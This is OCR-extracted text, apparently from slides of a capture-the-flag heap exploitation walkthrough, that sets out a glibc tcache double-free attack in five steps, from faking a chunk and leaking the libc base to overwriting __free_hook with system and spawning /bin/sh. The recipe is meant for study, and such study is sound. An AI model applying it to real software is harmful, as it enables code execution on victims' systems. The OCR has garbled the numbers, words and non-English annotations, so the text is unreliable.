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name - 0©x010

name - Ox008
my_name
my_name
ptr name + Ox4F0O

Stepl . Double Free 1in tcache bin

ptr = malloc(0x50)
--> 'aaaaaaaa'

free(ptr)
free(ptr)

ptr = malloc(0x50)
—--> p64(name_addr + Ox500 - 0x10))

ptr = malloc(0x50)
-=> '"bbbbbbbb'

ptr = malloc(0x50)
-=> p64(0) + p64(0x21)
--> p64(0) * 3 + p64(0x21)



name - ©x010 %)
name - Ox008 Ox501
aaaa...

addad. ..

name_addr

Step2 . Double Free 1in tcache bin

ptr = malloc(0x60)
--> 'cccccccc!

free(ptr)
free(ptr)

ptr = malloc(0x60)
—--> p64(name_addr - 0x10))

ptr = malloc(0x60)
--> 'dddddddd'

ptr = malloc(0x60)
—-> p64(0) + p64(0x501)
--> 'aaaa' * some + p64(name_addr)



pre
in
use

pre
in u

name - ©x010 %)
name - Ox008 Ox501
aaaa...

addad. ..

name_addr

Step3 . Free(0x500) --> in Unsorted bin!

free(ptr) ==> free(name_addr)

the parameter of free 1is data_ptr
check: next->prev_in_use?

Check: next in use? if no, free will
merge 1t.



pre
in
use

pre
in u

name - ©x010 %)
name - Ox008 Ox501
aaaa...

addad. ..

name_addr

name - 0©x010 ()

unsorted bin name - ©x008 @x501
name £d
fd
name + 0Ox08 bk
bk

print() will print the name, so know what fd is.
So, by (name), we can get unsorted bin address.

get unsorted bin address --> get main_arena address
get main_arena address --> get libc_base address



free_hook system_addr Step4 : Double Free in tcache bin

malloc(0Ox70)
free _hook : freeRFURAHIXE > leeceeecccce!
FEMERE— , B libcfRiB+1ibcE L
fS%l free()

free()

malloc(Ox70)

-—> p64(free_hook_addr)

malloc(Ox70)
-—> 'fffffffff'

malloc (0x70)
-=> p64(system_addr)



free_hook system_addr

free_hook :

MEfERE—r , B libcfR#+1ibcELL

oEl

freeFREARAIXE

ptr

/bin/sh

Step5 : PWN!

ptr = malloc(0x18)
--=> ¢/bin/sh’

free(ptr) ==> system(/bin/sh)
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